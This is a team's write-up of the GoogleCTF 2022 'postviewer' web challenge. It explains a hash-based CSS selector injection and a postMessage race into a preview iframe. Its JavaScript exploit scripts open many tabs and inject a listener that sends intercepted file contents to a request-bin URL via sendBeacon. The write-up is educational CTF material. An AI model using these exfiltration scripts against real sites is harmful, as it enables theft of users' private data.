Hey! It’s time for the annual blog post. I played GoogleCTF with DiceGang.

The Challenge

The rumor tells that adm1n stores their secret split into multiple documents. Can you catch ‘em all?

We are provided with a single attachment explaining the /bot endpoint and a link to the challenge.

First Step

As with all challenges, the first step is to stalk the author. Immediately, this web challenge smells like @terjanq; good thing we already follow him on Twitter:

Well that’s scary, and rather unhelpful. Let’s look at the challenge.

Overview

The application allows users to add and delete files. Clicking on them displays a preview in a popup:

Screenshot of root Screenshot of popup

Understanding the Application

Quickly peeking at the source code, we see application JS in four different places—directly in the page, and at the following paths:

  • /static/db.js
  • /static/util.js
  • /static/safe-frame.js

Immediately, we can notice that the application’s functionality works entirely on the client. The script in index.html begins with

const db = new DB();

async function removeDB() {
    db.clear().then(() => {
        location = location.href.split('#')[0];
    });
}

addFileInput.addEventListener("change", async function () {
    if (this.files.length > 0) {
        const fileInfo = await db.addFile(this.files[0]);
        appendFileInfo(fileInfo);
    }
}, false);

// ...

It looks like DB should come from /static/db.js:

class DB {
    constructor() {
        const dbrequest = indexedDB.open("Files", 1);
        dbrequest.onupgradeneeded = function () {
            let db = dbrequest.result;
            if (!db.objectStoreNames.contains('files')) {
                db.createObjectStore('files', { keyPath: 'name' });
                db.createObjectStore('info', { keyPath: 'name' });
            }
        }

        this.dbPromise = new Promise(resolve => {
            dbrequest.onsuccess = function () {
                resolve(dbrequest.result)
            };
        });
    }

// ...

So, the DB class wraps the IndexedDB API with some nice methods for adding, retrieving, and deleting files. How does displaying these files work?

If we try opening files, we see some hash show up in the URL. Indeed, the file entries are simply anchor tags. Again in index.html, we can find the following snippet.

// ...

const processHash = async () => {
    $("#previewModal").modal('hide');
    if (location.hash.length <= 1) return;
    const fileDiv = document.querySelector(location.hash);
    if (fileDiv === null || !fileDiv.dataset.name) return;
    const file = await db.getFile(fileDiv.dataset.name);
    previewFile(file);
    /* If modal is not shown remove hash */
    setTimeout(() => {
        if (!$('#previewModal').hasClass('show')) {
            location.hash = '';
        }
    }, 2000);
}

window.addEventListener('hashchange', processHash, true);

// ...

It looks like when the hash changes, it is used to find a file in the page, extract the data, and preview it. In fact, location.hash is directly passed into document.querySelector, since the hash begins with a # and thus also functions as a CSS query by ID. Neat.

The function previewFile comes from /static/util.js:

// ...

async function previewFile(file){
    const previewIframeDiv = document.querySelector('#previewIframeDiv');
    previewIframeDiv.innerText = '';
    await sleep(100);
    previewIframe(previewIframeDiv, file, file.type || 'application/octet-stream');
}

//...

When a file is to be previewed, it clears the div with id=previewIframeDiv, and calls previewIframe on it. That function can be found in static/safe-frame.js; here is the entire file:

const SHIM = `<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>SHIM</title>
</head>
<body>
    <script>
        onmessage = (e) => {
            if (e.data.body === undefined || !e.data.mimeType) {
                return;
            };
            const blob = new Blob([e.data.body], {
                type: e.data.mimeType
            });
            onunload = () => e.source.postMessage("blob loaded", "*");
            location = URL.createObjectURL(blob);
        };
    <\\/script>
</body>

</html>`

const SHIM_DATA_URL = `data:text/html,<script>
    location=URL.createObjectURL(new Blob([\`${SHIM}\`], {type:"text/html"}))
</script>`;

async function previewIframe(container, body, mimeType) {
    var iframe = document.createElement('iframe');
    iframe.src = SHIM_DATA_URL;
    container.appendChild(iframe);
    iframe.addEventListener('load', () => {
        iframe.contentWindow?.postMessage({ body, mimeType }, '*');
    }, { once: true });
}

The constant SHIM holds some HTML that listens for post messages and redirects itself to a blob URL with the posted content. The constant SHIM_DATA_URL holds some HTML that immediately redirects to a blob URL with the contents of SHIM. All the previewIframe function does is create an iframe with source SHIM_DATA_URL, add it to the page, and post the data to display once the iframe loads.

Now of course, there is more to understand about this application: for instance, we are given the ability to scale the previews; is that important? Why is popper.js included? Does it matter that the version is ancient? To save you the trouble, the answers to these questions are “no,” “because bootstrap needs it,” and “no.”

Solution

The information explicitly provided already tells us quite a bit about where to start. First, the existence of the browser bot at /bot means that we are likely looking for some sort of XSS. The description of the challenge indicates the goal: we want to read multiple files locally added in the bot’s browser.

We can also begin to plan for a possible solution. If we are able to send our own post message to the preview <iframe> before the application itself does, then the frame would be redirected to a data URI we control. Additionally, because it can have any MIME type, we would be able to write HTML and JavaScript to the frame and register our own post message listener.

Assuming we win the race, a message would then come from the parent—one that contains the file contents intended for the frame. This means we would intercept that data!

Preview Frame postMessage

Unfortunately, there is an immediate challenge. When the page is loaded, the preview iframe is not inserted into the DOM. That only happens when location.hash corresponds to a valid file, and we know nothing about the target filenames. This means that there is no frame to post messages to.

However, the clever use of location.hash as the querySelector has an issue we can abuse: it gives us too much control over what the selector looks like. Here is a possible element we might try and select:

<a class="list-group-item list-group-item-action" href="#file-4b6fcb2d521ef0fd442a5301e7932d16cc9f375a" id="file-4b6fcb2d521ef0fd442a5301e7932d16cc9f375a" data-name="test.txt">test.txt</a>

Suppose we provide the hash #asdf,[id^=file-]. Essentially, this selects elements with id=asdf, or elements with IDs that begin with file-. Then, even without knowing the ID, our target anchor should be found by querySelector. Let’s see if it works:

Screenshot of hash trick

Nice. Before moving on, let’s make sure that we can open the iframe corresponding to any uploaded file: after all, the description states that multiple files need to be read. Conveniently, the nth-child pseudo-selector is a thing, so the following forces the second file to be previewed:

https://postviewer-web.2022.ctfcompetition.com/#asdf,[id^=file-]:nth-child(1)

Message Race

Now, let’s try to get our content into the iframe. After loading the page, we can try calling postMessage on the first frame’s window object. It takes a while for it to load, so we can check the number of frames until one exists.

<script>
    const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';
    const sleep = (time) => new Promise((res) => setTimeout(res, time));

    (async () => {
        const target = window.open(`${ORIGIN}/?#asdf,[id^=file-]`);
        while (!target.frames.length) await sleep(1);
        target.frames[0].postMessage({
            body: 'injected',
            mimeType: 'text/html'
        }, '*');
    })();
</script>

Well, it seems to be properly detecting when the frame is loaded, but it’s not beating the application’s own postMessage. What if we just try it loads of times?

<script>
    const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';
    const sleep = (time) => new Promise((res) => setTimeout(res, time));

    for (let i = 0; i < 20; i++) {
        (async () => {
            const target = window.open(`${ORIGIN}/?#asdf,[id^=file-]`);
            while (!target.frames.length) await sleep(1);
            target.frames[0].postMessage({
                body: 'injected',
                mimeType: 'text/html'
            }, '*');
        })();
    }
</script>

Unfortunately, this did not work. Trying this repeatedly with a loop did occasionally yield seemingly-successful results where our content was injected into the frame, but there were two issues.

  1. These “successes” were extremely unreliable and seemed to depend on very random conditions (eg. whether the popup was focused). In hindsight, these conditions likely related to performance, as running the script on less powerful devices seemed to produce more positive results.
  2. The races were not won by “enough.” Although we did occasionally manage to inject our content into the frame, we were not actually beating the parent window’s postMessage. Recall that the plan was to mount a listener before the parent sent its postMessage to intercept the message’s content. Unfortunately, our successful injections seemed to arrive after the parent’s postMessage but before its resulting redirect was complete, so although we could control the page’s content, it was too late.

As a team, we spent quite a while understanding what could delay the parent’s postMessage, even reading through the relevant parts of v8 (Chrome’s JavaScript engine).

Specifically, we looked for ways to delay the firing of the load event that triggered the parent’s postMessage:

iframe.addEventListener('load', () => {
    iframe.contentWindow?.postMessage({ body, mimeType }, '*');
}, { once: true });

However, though many things will delay the load event—like images and redirects—we simply did not have enough control to do so significantly. After spending countless hours on this challenge, everyone essentially gave up.

Fifteen minutes left. Out of the blue:

message saying something worked”

The thing that was confusing about this was that the new, accompanying script read like it shouldn’t have worked. The script was missing some delays in critical places, yet it still managed to occasionally beat the parent postMessage. It turns out that it succeeded only by opening so many tabs that Chrome experienced significant performance issues, allowing some of our messages to slip in first.

After understanding why it worked, we focused on using this trick more reliably. We had previously written a more robust script for attempting the race, one that seldom worked:

<script>
    const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';

    const sleep = (time) => new Promise((r) => setTimeout(r, time));

    class SearchThread {
        constructor() {
            this.state = { running: false, done: false };
        }

        start() {
            this.state.running = true;
            this.loop();
        }

        stop() {
            this.state.running = false;
            this.window.close();
        }

        async loop() {
            while (this.state.running) {
                this.window?.close();
                this.window = window.open(`${ORIGIN}/?#asdf,[id^=file-]`);

                this.state.done = false;
                while (!this.state.done) {
                    for (let i = 0; i < 10; i++) {
                        try {
                            this.window.frames[0].postMessage({
                                body: `
                                    <script>
                                        console.log("load");
                                        window.onmessage = async (e) => {
                                            if (
                                                typeof e.data !== "string" &&
                                                e.data.mimeType !== "text/html"
                                            ) {
                                                navigator.sendBeacon(
                                                    "[REQUEST BIN URL]",
                                                    await e.data.body.text()
                                                );
                                            }
                                        }
                                <\/script>`, mimeType: "text/html"}, "*");

                            this.state.done = true;
                            break;
                        } catch (e) {}
                    }

                    await sleep(1);
                }
            }
        }

        async handle() {
            return new Promise((res) => {
                window.addEventListener('message', (e) => {
                    if (e.source === this.window) {
                        res()
                    }

                    console.log(e.source === this.window);
                    this.stop();
                });
            });
        }
    }

    const threads = Array.from({ length: 100 }, () => new SearchThread());

    window.addEventListener('unload', () => (
        threads.forEach((thread) => thread.stop())
    ));

    threads.forEach((thread) => thread.start());

    Promise.race(threads.map((thread) => thread.handle()));
</script>

Hoping for similar results, we increased the number of concurrent tabs to 100. It did not work locally. There were only ten minutes left, though, so we crossed our fingers and submitted it to /bot just in case

    Congratulations on fetching admin's file!

    The flag needs to be deciphered with a password that has been split into three
    random files. Because the password is random with each run, you will have to
    collect all three files. When you do so, just visit:
      https://postviewer-web.2022.ctfcompetition.com/dec1pher

    File info:
    Cipher: CbgyTjbhtHsv/WawQTkFhmpuFXysg33v7VapbUvpH0FGoC6psN5T3SQZH5uJPPty/5uY5+jBANutJZMBbEYc
    Password part [1/3]: esscp7cru83b11ylkzm

    The challenge is easily solvable under 5 seconds, but as a token of appreciation
    I set up a secret endpoint for you that have a limit of 20 seconds:
      https://postviewer-web.2022.ctfcompetition.com/bot?s=s333cret_b00t_3ndop1nt

omg it worked

Okay. Looks like there is more to do:

  1. Change the script to use the :nth-child selector written earlier.
  2. Have the script act on each of the three files.
  3. Retrieve the flag from the secret endpoint.

Since there was not much time left, we modified the script to randomly choose between the three possible files, open more tabs, and continue running after successful injections:

<script>
    const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';

    const sleep = (time) => new Promise((r) => setTimeout(r, time));

    class SearchThread {
        constructor() {
            this.state = { running: false, done: false };
        }

        start() {
            this.state.running = true;
            this.loop();
        }

        stop() {
            this.state.running = false;
            this.window.close();
        }

        async loop() {
            while (this.state.running) {
                const child = getRandomInt(1,3);
                this.window?.close();
                this.window = window.open(
                    `${ORIGIN}/?#asdf,[id^=file-]:nth-child(${child})`
                );

                this.state.done = false;
                while (!this.state.done) {
                    for (let i = 0; i < 10; i++) {
                        try {
                            this.window.frames[0].postMessage({
                                body: `
                                    <script>
                                        console.log("load");
                                        window.onmessage = async (e) => {
                                            if (
                                                typeof e.data !== "string" &&
                                                e.data.mimeType !== "text/html"
                                            ) {
                                                navigator.sendBeacon(
                                                    "[REQUEST BIN URL]",
                                                    await e.data.body.text()
                                                );
                                            }
                                        }
                                <\/script>`, mimeType: "text/html"}, "*");

                            this.state.done = true;
                            break;
                        } catch (e) {}
                    }

                    await sleep(1);
                }
            }
        }

        async handle() {
            return new Promise((res) => {
                window.addEventListener('message', (e) => {
                    if (e.source === this.window) res();
                });
            });
        }
    }

    const threads = Array.from({ length: 150 }, () => new SearchThread());

    window.addEventListener('unload', () => (
        threads.forEach((thread) => thread.stop())
    ));

    threads.forEach((thread) => thread.start());

    Promise.race(threads.map((thread) => thread.handle()));
</script>

Countless attempts did not work, always missing one or two of the three files. But, with 41 seconds left before the competition’s end:

three successful results

Submitting the three parts to the secret endpoint:

submission

And solved.

flag and celebration

Unfortunately, our final solution no longer works reliably on the remote browser bot. It seems like the increased load near the end of the competition helped us win some races.

Contributors to our solve, in no particular order, include Ankur, Bryce, Daniel, iczero, Larry, and Philip.

Special thanks to Bryce for getting the last-minute solve!

The Intended Solution

Of course, the intended solution to this challenge does not rely on slowing down the entire browser to delay the parent’s post message. Rather, the trick to blocking it is in the event listener used to detect when the frame is finished loading:

window.addEventListener('message', (e) => {
    if (e.data == 'blob loaded') {
        $("#previewModal").modal();
    }
});

Here, the comparison between e.data and the string 'blob loaded' implicitly coerces e.data to a string. If e.data is an object whose toString can be slow—like a reference to a large ArrayBuffer—then this behavior can be used to block the parent thread. In the official writeup, terjanq uses UInt8Array to do this; check it out for more details!